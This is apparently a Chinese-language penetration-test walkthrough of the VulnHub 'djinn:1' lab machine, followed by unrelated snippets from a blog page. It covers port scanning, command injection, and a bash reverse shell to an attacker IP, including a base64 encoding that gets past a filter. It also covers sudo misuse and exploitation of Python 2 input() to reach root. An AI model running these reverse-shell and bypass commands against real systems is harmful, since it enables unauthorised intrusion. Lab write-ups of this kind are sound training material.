djinn:1渗透笔记

靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/

信息收集

首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali ip地址

当打开这台靶机的时候我们就知道ip地址

由于我们已经确定了靶机的ip所以我们直接扫描开放端口

nmap -A -p- 192.168.20.145

首先我们去访问一下21端口的ftp服务,发现可以匿名登录。根目录有三个txt文本文件我们依次打开查看

creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.

我们可以发现在game.txt中提示,1337端口上设置了一个游戏,打开浏览器查看发现被重置,那我们尝试telnet上去看看

需要我们回答1000次问题估计要写个脚本我们先暂时放一边

端口扫描还发现7331端口并且运行着http服务,访问一下看看有什么收获。查看后没有什么发现。

还是没有什么发现

目录扫描

这里我没有比较合适的字典就借用师傅的一张图

经过扫描发现了两个目录一个/wish一个/genie两个目录,依次访问

这个目录我们好像没有权限

我们继续访问/wish这个目录

有点像是命令执行

在输入框输入"id",页面跳转到了"/genie",并成功执行了命令

漏洞利用

我们直接向kali反弹一个shell,在输入框中输入反弹shell的命令,并在kali端进行监听

bash -i >& /dev/tcp/192.168.20.130/1234 0>&1
nc -lvvp 1234

但是报出了错误信息,推测过滤了一些字符,使用bp抓包测试看看

下面这样是可以的

但这样就不行了

看来确实拦截了一些字符,经过多次尝试发现echo指令可以执行

那我试试把反弹shell base64编码一下再尝试执行

kali先监听1234口

nc -lvvp 1234

输入框内输入

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEzMC8xMjM0IDA+JjE= | base64 -d | bash

成功监听

获得交互式提示符

python -c "import pty;pty.spawn('/bin/bash')"
读取flag

读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件

在/opt/80目录下发现了一个app.py文件,查看一下文件内容发现了有点东西,这个txt我们去看看是啥

好像是用户名密码我们去登录

然后我们查看/home/nitish下的user.txt即可

权限提升

查看一下sudo的权限命令,发现有一个无需密码即可执行的命令

查看一下genie的用法

man genie

发现-p参数

和-cmd参数

发现-p不行但是使用-cmd成功拿到sam的shell

sudo -u sam /usr/bin/genie -cmd whoami

再次执行sudo -l

接下来有点懵了,实在没办法找一下可写的文件

find / -writable -type f 2>/dev/null

使用scp将.pyc文件下到kali中,然后进行反编译网址如下

https://tool.lu/pyc/

scp /home/sam/.pyc root@192.168.20.130:/root

得到源码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint def naughtyboi():
print 'Working on it!! ' def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time' def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path) def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life' if __name__ == '__main__':
main(options())

仔细审计一下发现这里有input函数,发现为python2的版本。搜一下python input()vulnerability,看看input函数漏洞,参考文章

https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入"num"利用此漏洞即可。到这时候我们已经获得root权限

vulnhub靶机djinn:1渗透笔记的更多相关文章

  1. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  2. vulnhub mrRobot渗透笔记

    mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...

  3. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  4. vulnhub devguru渗透笔记

    devguru渗透笔记 信息收集 kali ip 目标ip 首先我们扫描一下开放端口 nmap -A -p- 192.168.20.143 Starting Nmap 7.91 ( https://n ...

  5. vulnhub靶机Os-hackNos-1

    vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...

  6. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  7. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  8. Vulnhub 靶机 pwnlab_init 渗透——详细教程

    1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...

  9. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

随机推荐

  1. starter

    传统的 Spring 项目想要运行,不仅需要导入各种依赖,还要对各种 XML 配置文件进行配置,十分繁琐,但 Spring Boot 项目在创建完成后,即使不编写任何代码,不进行任何配置也能够直接运行 ...

  2. WebSocket长连接

    WebSocket长连接 1.概述 1.1 定义 1.2 原理 2.Django中配置WebSocket 2.1安装第三方法包 pip install channels 2.2 Django 中的配置 ...

  3. JZ-061-序列化二叉树

    序列化二叉树 题目描述 请实现两个函数,分别用来序列化和反序列化二叉树. 二叉树的序列化是指:把一棵二叉树按照某种遍历方式的结果以某种格式保存为字符串,从而使得内存中建立起来的二叉树可以持久保存. 序 ...

  4. Golang开源流媒体服务器(RTMP/RTSP/HLS/FLV等协议)

    一. lal 简介 lal是开源直播流媒体网络传输项目,主要由三部分组成: lalserver:流媒体转发服务器.类似于nginx-rtmp-module等服务,但支持更多的协议,提供更丰富的功能. ...

  5. gitee 的使用

    Git安装教程(windows)   Git是当今最流行的版本控制软件,它包含了许多高级工具,这里小编就讲一下Git的安装. 下载地址:https://git-scm.com/downloads 首先 ...

  6. PHP动态修改配置文件

    文件结构: index.php 主页 config 配置文件 doUpdate.php 修改功能页 index.php <html> <head> <title>修 ...

  7. 微信公众号客服接口:out of response count limit 的原因

    调用客服消息接口返回如下:                                                                                       ...

  8. LGP7580题解

    设: \[g(x)=\prod_{i=1}^{k_i}\binom {m} {c_{d,i}+m} \] 那么很明显有: \[f= a * g \] 再看一眼 \(g\),我们发现 \(g\) 是积性 ...

  9. kafka 第一次小整理(草稿篇)————整理一下自己的认知

    前言 简单整理一些自己使用kafka的一些感受. 正文 一切都要回到真实的世界上, 计算机世界只是真实事件的一个缩影. 计算机世界有一个重要的东西,那就是数据库. 数据库记录着真实世界发生了什么,准确 ...

  10. docker 部署mysql tomcat时 在root@localhost~下——-——docker exec -it 容器名 /bin/bash 报错

    在docker部署mysql时 报错 找不到 容器不自动启动  , docker start 容器名  也没有效果 多次尝试发现 原因是创建容器时在 下面创建的 更改为下创建 问题解决